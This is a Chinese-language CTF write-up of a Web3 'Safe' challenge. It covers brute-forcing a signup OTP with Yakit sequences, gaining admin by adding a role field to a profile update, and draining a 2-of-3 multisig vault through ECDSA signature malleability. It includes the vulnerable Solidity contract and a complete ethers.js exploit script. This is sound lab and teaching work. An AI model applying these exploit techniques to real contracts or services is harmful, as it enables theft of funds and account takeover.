Positive Hack Camp Web3 Safe 题解:从 Yakit 序列 OTP 爆破到多签逃逸

截至今日,我感觉这是我来莫斯科学习感觉最有意思的题(似乎也是最难的题了

因为之前很少做Web3或者做CTF一直是一把嗦(这是为数不多的手搓题 可能做的有点笨

题目信息 - Safe

1
2
3
4
5
6
7
The Web3 safe deployment service has suspended registration. Your mission: break in and crack the safe! NOTE: RPC Address (10.137.0.24) is incorrect. Replace it with address of your task when connecting to MetaMask

Hints (4/4)
If the OTP doesn't arrive, what is actually being limited — a single account or a series of attempts?
Updating a profile — is it always a dangerous operation?
If you need information, go directly to the source.
Something is wrong with the signatures...

image-20260803184118681

爆破OTP,实现注册。

使用Yakit进行演示,Burp也能实现基本的功能,但是序列可能需要安装插件或者写脚本了。

先打开靶机链接,发现是一道Web3的题。

image-20260803183325391

之前尝试过爆破用户密码,没有成功。把功能点放在注册上面,注册的时候需要OTP,OTP的值是4位数的,思路基本就是先爆破出OTP的值,一般这个值都是固定的。

image-20260803183434561

但是在进行多次重放攻击,同一个signup_id放10次以上的情况下sign值就失效了。

image-20260803183600343

看一下包的逻辑,分别有start和verify两个接口。start用于生成signup_id,verify用于验证otp的值是否正确。

image-20260803183802842

思路已经明确了 基本就是用start接口实现生成signup_id 然后将signup_id回传到verify接口进行验证 一般这种情况我就用AI生成脚本了 但是Yakit有一个序列功能一直没用过 试一下工具的原生功能

先将start接口启动FUZZ,然后创建一个序列并选择,然后点击开始执行。

image-20260804111759509

然后点击数据提取器,提取响应体的signup_id对应的值,点击调试运行看一下,查看无误后直接保存即可。

image-20260804111921895

然后再将verify接口扔到FUZZ,之后拖入到序列一,创建新的step将signup_id设置为如下形式即可传参

1
{{p(data_0)}}

image-20260804113301292

然后点击执行测试一下,看到signup_id传参过来就没问题啦。

image-20260804113353241

然后就比较简单了otp设置为爆破验证码,直接爆破otp就可以了。

image-20260804113527960

image-20260804113603004

获得管理员权限

成功登录之后,有一个Update的页面,大概率这个地方有传参类的漏洞。

image-20260804114225025

image-20260804114325024

其实可以看到回参有一个role的参数,而我们的请求参数只有两个,可以尝试增加一个role参数为admin,再次传参进行测试,很简单的拿到了admin权限。

image-20260804114439446

拿到Admin权限后可以访问管理员面板,可以看到各个钱包的状态以及SafeVault.sol备份文件,大概率sol文件有洞。

image-20260804115522146

伪造合约签名转账

先回到主页看到获得Flag的要求是500ETH,基本思路就是绑一个账号,然后实现合约签名伪造转到自己的账号上。

这里如果你回到Wallet你就能看见一个Safe账户的东西

什么是 Safe 账户?

在开始攻击之前,需要先理解一个核心概念:Safe 账户(也叫多签钱包)。

普通的钱包(比如你在 MetaMask 里创建的)是单签钱包——只要你有私钥,就能直接转走里面的资产。

Safe 是一个多签钱包,它的特点是:

它本身是一个智能合约,不是普通的外部账户。

创建时需要指定 N 个 Owner 地址(管理者)。

转账需要 至少 M 个 Owner 签名 才能执行(M ≤ N)。

image-20260804124528277

SafeVault.sol文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

contract SafeVault {
uint256 public constant THRESHOLD = 2;

string public label;
uint256 public nonce;
address[3] private _owners;
mapping(address => bool) public isOwner;
mapping(address => mapping(address => uint256)) public allowances;

event Deposit(address indexed from, uint256 amount);
event AllowanceSet(address indexed owner, address indexed spender, uint256 amount);
event AllowanceSpent(address indexed owner, address indexed spender, address indexed to, uint256 amount);
event WithdrawalExecuted(
address indexed relayer,
address indexed to,
uint256 amount,
bytes32 operationHash,
address signerOne,
address signerTwo
);

constructor(address[3] memory owners_, string memory label_) payable {
label = label_;
for (uint256 i = 0; i < owners_.length; i++) {
address owner = owners_[i];
require(owner != address(0), "owner");
require(!isOwner[owner], "duplicate");
isOwner[owner] = true;
_owners[i] = owner;
}
if (msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}

receive() external payable {
emit Deposit(msg.sender, msg.value);
}

function owners() external view returns (address[3] memory) {
return _owners;
}

function setAllowance(address spender, uint256 amount) external {
require(isOwner[msg.sender], "owner");
allowances[msg.sender][spender] = amount;
emit AllowanceSet(msg.sender, spender, amount);
}

function spendAllowance(address owner, address payable to, uint256 amount) external {
uint256 allowed = allowances[owner][msg.sender];
require(allowed >= amount, "allowance");
unchecked {
allowances[owner][msg.sender] = allowed - amount;
}
(bool ok, ) = to.call{value: amount}("");
require(ok, "send");
emit AllowanceSpent(owner, msg.sender, to, amount);
}

function operationHash(address to, uint256 amount, uint256 nonceValue) public view returns (bytes32) {
return keccak256(abi.encode(address(this), block.chainid, to, amount, nonceValue));
}

function prefixedOperationHash(address to, uint256 amount, uint256 nonceValue) public view returns (bytes32) {
bytes32 rawHash = operationHash(to, amount, nonceValue);
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", rawHash));
}

function executeWithdraw(address payable to, uint256 amount, bytes[] calldata signatures) external {
require(signatures.length == THRESHOLD, "threshold");
require(keccak256(signatures[0]) != keccak256(signatures[1]), "duplicate signature");
bytes32 digest = prefixedOperationHash(to, amount, nonce);
address signerOne = recover(digest, signatures[0]);
address signerTwo = recover(digest, signatures[1]);
require(isOwner[signerOne], "signer one");
require(isOwner[signerTwo], "signer two");
nonce += 1;
(bool ok, ) = to.call{value: amount}("");
require(ok, "send");
emit WithdrawalExecuted(msg.sender, to, amount, digest, signerOne, signerTwo);
}

function recover(bytes32 digest, bytes memory signature) internal pure returns (address) {
require(signature.length == 65, "sig length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
require(v == 27 || v == 28, "sig v");
return ecrecover(digest, v, r, s);
}
}

这个合约最核心的漏洞在 recover 函数里。

它调用 ecrecover 恢复签名地址时,没有验证签名是否真的有效,而且你可以随意操控 v、r、s 的值。这意味着你可以构造一个假的签名数据,让 ecrecover 直接返回 Owner1 或 Owner2 的地址,完全不需要知道他们的私钥。

同时 executeWithdraw 只要求两个签名恢复出来的地址都是 Owner,不检查签名是否合法。所以你只需要伪造两个签名分别冒充两个 Owner,就能直接调用 executeWithdraw 把 500 ETH 转到自己钱包,然后点击 Claim 拿到 Flag。

在这道题里:

THRESHOLD = 2,表示需要 2 个 Owner 签名 才能提款。

合约有 3 个 Owner,分别是 Owner1、Owner2、Owner3。

正常情况下,你需要拿到至少 2 个 Owner 的私钥才能转走里面的 500 ETH。

但因为有漏洞,我们只需要 1 个 Owner 的私钥就能伪造出第 2 个签名,从而绕过 2/3 多签限制。

所以接下来的目标是:用 Owner1 的私钥签名,伪造第二个签名,调用 executeWithdraw 把 500 ETH 转到自己的钱包。

先让这个网站连接上钱包

image-20260804131519619

然后先去领点水,用于支付后续脚本执行时的 Gas 费

image-20260804131748738

中途环境重置了一下,从这开始IP会变(方法是一样的

查询有ETH的钱包地址 先查询区块一

1
2
3
4
5
POST / HTTP/1.1
Host: 10.10.0.57:8545
Content-Type: application/json

{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",true],"id":1}

查询到了测试地址

1
0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266

这是 Hardhat 默认账户 #1,也就是 Owner1,这个地址的私钥是公开的

这是内置的第一个默认测试账户地址,但这仅限用于本地开发和测试网络

1
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80

image-20260804170048322

然后继续查询区块2,区块3,看到区块3里面有关于500ETH交易的信息

这里是16进制,转换成十进制就可以看到啦

1
2
3
4
5
POST / HTTP/1.1
Host: 10.10.0.57:8545
Content-Type: application/json

{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x3",true],"id":1}

image-20260804170531224

查区块 3 的交易回执 拿到合约地址 0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0

1
2
3
4
5
POST / HTTP/1.1
Host: 10.10.0.57:8545
Content-Type: application/json

{"jsonrpc":"2.0","method":"eth_getTransactionReceipt","params":["0x1ae8a03efdbb8f5a98d417ed7eaebb6af54d6c3c5a9f86882d416fe3df70568b"],"id":1}

image-20260804170714619

现在我们已经拿到了三个关键信息

  1. Owner1 的私钥(从 Hardhat 默认账户获得)
  2. Treasury vault #3 的合约地址(从交易回执拿到)
  3. 合约里的 nonce 值(目前是 0)

但前端界面(Safe Console)只允许操作你自己创建的 Safe,不支持直接加载一个已存在的合约地址。所以我们现在没办法在网页上点按钮来完成转账。

因此,我们需要用脚本直接跟链上的 Safe 合约交互,调用它的 executeWithdraw 函数。

脚本的逻辑是这样的:

  1. 用 Owner1 的私钥连接 RPC
  2. 计算提款操作的消息哈希(包含了 Safe 地址、Chain ID、接收地址、金额、nonce)
  3. 用 Owner1 签名得到第一个签名
  4. 利用 ECDSA 签名可延展性,修改 s 值和 v 值,伪造出第二个签名

    为什么可以这样伪造?

    ECDSA 签名是 (r, s, v),其中 s 和曲线阶 n 满足:

    • 如果 (r, s) 是合法签名,那么 (r, n - s) 也是合法签名(因为椭圆曲线点的对称性)
    • v 是恢复参数,27/28 表示使用 y 的正负号

    所以同一个消息用同一个私钥签一次,就能派生出一个”看起来不同”但同样有效的第二签名。这就是为什么只需要 1 个 Owner 私钥就能伪造 2 个签名。

  5. 把两个签名一起提交给合约,执行提款

使用脚本吧 直接复制到浏览器的console就可以使用

记得用脚本的时候替换服务器地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
(async () => {
const provider = new ethers.JsonRpcProvider("http://10.10.0.57:8545");
const owner = new ethers.Wallet(
"0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80",
provider,
);
const recipient = "0xe48bA79C4688Ea4f33e4b2eBf84598A87b3d10fA";
const safe = "0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0";
const amount = ethers.parseEther("500");
const nonce = 0n;
const rawHash = ethers.keccak256(
ethers.AbiCoder.defaultAbiCoder().encode(
["address", "uint256", "address", "uint256", "uint256"],
[safe, 31337, recipient, amount, nonce],
)
);
const signatureOne = await owner.signMessage(ethers.getBytes(rawHash));
const bytes = ethers.getBytes(signatureOne);
const r = bytes.slice(0, 32);
const s = BigInt(ethers.hexlify(bytes.slice(32, 64)));
const v = bytes[64];
const curveOrder = BigInt(
"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141",
);
const alternateS = ethers.zeroPadValue(
ethers.toBeHex(curveOrder - s),
32,
);
const alternateV = v === 27 ? 28 : 27;
const signatureTwo = ethers.hexlify(
ethers.concat([
r,
alternateS,
ethers.toBeHex(alternateV, 1),
])
);
const vault = new ethers.Contract(
safe,
[
"function executeWithdraw(address payable to, uint256 amount, bytes[] signatures)",
"function nonce() view returns (uint256)",
],
owner,
);
const transaction = await vault.executeWithdraw(
recipient,
amount,
[signatureOne, signatureTwo],
);
const receipt = await transaction.wait();
console.log({
recipient: recipient,
transaction: transaction.hash,
block: receipt.blockNumber,
});
})();

然后切换到 Claim 标签页,点击 Claim FLAG NFT 按钮,就能拿到 Flag。

image-20260804172012178